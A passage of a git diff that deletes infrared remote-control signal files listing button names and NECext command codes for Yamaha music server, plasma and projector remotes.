-# -name: CD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4E 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: MD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 57 00 00 00 -# -name: MD_REC/PAUSE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir deleted file mode 100644 index da2d395c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir +++ /dev/null @@ -1,512 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 20 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 25 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 26 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 27 00 00 00 -# -name: CHAPTER_<< -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 28 00 00 00 -# -name: CHAPTER_>> -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 29 00 00 00 -# -name: GOUP_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 2A 00 00 00 -# -name: GROUP_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 2B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 30 00 00 00 -# -name: BROADCAST -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 31 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 32 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 33 00 00 00 -# -name: FUNCTION_3 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 3D 00 00 00 -# -name: RECEIVER_MUTE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 3D 00 00 00 -# -name: FUNCTION_1 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 3E 00 00 00 -# -name: RECEIVER_VOL_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 3E 00 00 00 -# -name: FUNCTION_2 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 3F 00 00 00 -# -name: RECEIVER_VOL_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 3F 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 40 00 00 00 -# -name: ALBUM -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 41 00 00 00 -# -name: GENRES -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 42 00 00 00 -# -name: ALL_SONGS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 43 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 44 00 00 00 -# -name: SONG_STATS. -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 45 00 00 00 -# -name: BOOKMARKS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 46 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 47 00 00 00 -# -name: RECORDING -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 48 00 00 00 -# -name: AV_RECIEVER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 49 00 00 00 -# -name: CLIENT_PLAYBACK -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 4A 00 00 00 -# -name: EXT._INPUTS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 4B 00 00 00 -# -name: PLAY_INFO -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 4E 00 00 00 -# -name: BOOKMARK_ON/OFF -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 4F 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 51 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 52 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 53 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 54 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 55 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 56 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 57 00 00 00 -# -name: SUB_MENU -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 58 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 59 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 5A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 61 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 80 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 82 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 83 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 83 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 85 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 85 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 86 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 86 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 87 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 87 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 88 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 88 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 89 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 89 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8A 00 00 00 -# -name: GROUP_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8A 00 00 00 -# -name: GROUP_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8B 00 00 00 -# -name: FAVORITE_1 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8C 00 00 00 -# -name: FAVORITE_2 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8D 00 00 00 -# -name: FAVORITE_3 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8E 00 00 00 -# -name: FAVORITE_4 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8F 00 00 00 -# -name: BOOKMARK -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 91 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 92 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 93 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 98 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 9D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 9E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 9F 00 00 00 -# -name: PLAY_INFO -type: parsed -protocol: NECext -address: 80 37 00 00 -command: AE 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B1 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B2 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B3 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B4 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B5 00 00 00 -# -name: SELECT/ENTER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B6 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: 80 37 00 00 -command: BD 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: BE 00 00 00 -# -name: ON_TIMER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir deleted file mode 100644 index 8be645791..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: PINP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: INPUT_RGB1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: INPUT_RGB2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: INPUT_AV1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: INPUT_AV2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: INPUT_AV3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: INPUT_AV4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: DISPLAY_SIZE_CHANGE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir deleted file mode 100644 index 3d09ffdec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir +++ /dev/null @@ -1,998 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: V.POS -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 20 00 00 00 -# -name: V.POS_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 21 00 00 00 -# -name: V.POS_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 22 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 23 00 00 00 -# -name: ZOOM_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 24 00 00 00 -# -name: ZOOM_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 25 00 00 00 -# -name: FOCUS -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 26 00 00 00 -# -name: FOCUS_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 27 00 00 00 -# -name: FOCUS_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 28 00 00 00 -# -name: IRIS -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 29 00 00 00 -# -name: IRIS_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 2A 00 00 00 -# -name: IRIS_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 2B 00 00 00 -# -name: ASPECT_CINEMA_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 30 00 00 00 -# -name: ASPECT_CIN_SQUEEZE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 31 00 00 00 -# -name: ASPECT_CIN_16:9_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 32 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 60 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 61 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 62 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 63 00 00 00 -# -name: HIDE_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 64 00 00 00 -# -name: HIDE_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 65 00 00 00 -# -name: HIDE_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 66 00 00 00 -# -name: PATTERN_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 67 00 00 00 -# -name: PATTERN_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 68 00 00 00 -# -name: PATTERN_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 69 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 6A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 6C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 6D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 6E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 6F 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 70 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 71 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 72 00 00 00 -# -name: MENU_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 73 00 00 00 -# -name: ESCAPE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 75 00 00 00 -# -name: INPUT_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 76 00 00 00 -# -name: S_VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 78 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 79 00 00 00 -# -name: INPUT_A -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 7A 00 00 00 -# -name: INPUT_B -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 7B 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 7C 00 00 00 -# -name: D4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 7D 00 00 00 -# -name: STILL_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 7E 00 00 00 -# -name: STILL_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 7F 00 00 00 -# -name: STILL_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 80 00 00 00 -# -name: MEMORY_1 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 81 00 00 00 -# -name: MEMORY_2 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 82 00 00 00 -# -name: MEMORY_3 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 83 00 00 00 -# -name: MEMORY_4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 84 00 00 00 -# -name: MEMORY_5 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 85 00 00 00 -# -name: MEMORY_6 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 86 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 8A 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 8B 00 00 00 -# -name: ASPECT_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 8C 00 00 00 -# -name: ASPECT_ZOOM_TITLE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 8D 00 00 00 -# -name: ASPECT_SQUEEZE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 8E 00 00 00 -# -name: ASPECT_THROUGH -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 8F 00 00 00 -# -name: ASPECT_AUTO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 90 00 00 00 -# -name: ASPECT_THRU_SQUEEZE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 91 00 00 00 -# -name: ASPECT_SMART_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 92 00 00 00 -# -name: INPUT_A_COMPONENT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 93 00 00 00 -# -name: INPUT_A_RGB_PC -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 94 00 00 00 -# -name: INPUT_A_RGB_TV -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 95 00 00 00 -# -name: INPUT_B_COMPONENT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 96 00 00 00 -# -name: INPUT_B_RGB_PC -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 97 00 00 00 -# -name: INPUT_B_RGB_TV -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 98 00 00 00 -# -name: HDMI_COMPONENT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 99 00 00 00 -# -name: HDMI_RGB_TV -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 9B 00 00 00 -# -name: HDMI_AUTO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 9C 00 00 00 -# -name: V.POS -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A0 00 00 00 -# -name: V.POS_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A1 00 00 00 -# -name: V.POS_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A2 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A3 00 00 00 -# -name: ZOOM_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A4 00 00 00 -# -name: ZOOM_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A5 00 00 00 -# -name: FOCUS -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A6 00 00 00 -# -name: FOCUS_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A7 00 00 00 -# -name: FOCUS_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A8 00 00 00 -# -name: IRIS -type: parsed -protocol: NECext -address: D1 00 00 00 -command: A9 00 00 00 -# -name: IRIS_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: AA 00 00 00 -# -name: IRIS_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: AB 00 00 00 -# -name: ASPECT_CINEMA_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: B0 00 00 00 -# -name: ASPECT_CIN_SQUEEZE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: B1 00 00 00 -# -name: ASPECT_CIN_16:9_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: B2 00 00 00 -# -name: DVI_RGB-PC -type: parsed -protocol: NECext -address: D1 00 00 00 -command: B9 00 00 00 -# -name: DVI_RGB-TV -type: parsed -protocol: NECext -address: D1 00 00 00 -command: BA 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C0 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C1 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C2 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C2 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C3 00 00 00 -# -name: HIDE_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C4 00 00 00 -# -name: HIDE_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C5 00 00 00 -# -name: HIDE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C6 00 00 00 -# -name: HIDE_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C6 00 00 00 -# -name: PATTERN_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C7 00 00 00 -# -name: PATTERN_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C8 00 00 00 -# -name: PATT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C9 00 00 00 -# -name: PATTERN_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C9 00 00 00 -# -name: PATTERN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C9 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CA 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CC 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CC 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CD 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CD 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CE 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CE 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CF 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CF 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D0 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D0 00 00 00 -# -name: RETURN_<-- -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D0 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D1 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D2 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D3 00 00 00 -# -name: MENU_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D3 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D4 00 00 00 -# -name: ESCAPE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D5 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D6 00 00 00 -# -name: INPUT_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D6 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D7 00 00 00 -# -name: S-VID -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D8 00 00 00 -# -name: S_VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D8 00 00 00 -# -name: INPUT:_S-VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D8 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D9 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D9 00 00 00 -# -name: INPUT_A -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DA 00 00 00 -# -name: INPUT:_A_(COMPNENT) -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DA 00 00 00 -# -name: INPUT_B -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DB 00 00 00 -# -name: INPUT:_B_(DB-15) -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DB 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DC 00 00 00 -# -name: INPUT:_DVI -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DC 00 00 00 -# -name: D4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DD 00 00 00 -# -name: INPUT:_D4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DD 00 00 00 -# -name: STILL_OFF -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DE 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DF 00 00 00 -# -name: STILL_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DF 00 00 00 -# -name: STILL_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DF 00 00 00 -# -name: STILL_TOG -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E0 00 00 00 -# -name: STILL_ON -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E0 00 00 00 -# -name: MEMORY_1 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E1 00 00 00 -# -name: MEMORY_2 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E2 00 00 00 -# -name: MEMORY_3 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E3 00 00 00 -# -name: MEMORY_4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E4 00 00 00 -# -name: MEMORY_5 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E5 00 00 00 -# -name: MEMORY_6 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E6 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: EA 00 00 00 -# -name: ASPECT_TOGGLE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: EA 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: D1 00 00 00 -command: EB 00 00 00 -# -name: ASPECT_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: EC 00 00 00 -# -name: ASPECT_ZOOM_TITLE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: ED 00 00 00 -# -name: ASPECT_SQUEEZE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: EE 00 00 00 -# -name: ASPECT_THROUGH -type: parsed -protocol: NECext -address: D1 00 00 00 -command: EF 00 00 00 -# -name: ASPECT_AUTO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F0 00 00 00 -# -name: ASPECT_THRU_SQUEEZE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F1 00 00 00 -# -name: ASPECT_SMART_ZOOM -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F2 00 00 00 -# -name: INPUT_A_COMPONENT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F3 00 00 00 -# -name: INPUT_1A -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F3 00 00 00 -# -name: INPUT_A_RGB_PC -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F4 00 00 00 -# -name: INPUT_A_RGB_TV -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F5 00 00 00 -# -name: INPUT_B_COMPONENT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F6 00 00 00 -# -name: INPUT_B_RGB_PC -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F7 00 00 00 -# -name: INPUT_B_RGB_TV -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F8 00 00 00 -# -name: HDMI_COMPONENT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: F9 00 00 00 -# -name: HDMI_RGB_TV -type: parsed -protocol: NECext -address: D1 00 00 00 -command: FB 00 00 00 -# -name: HDMI_AUTO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir 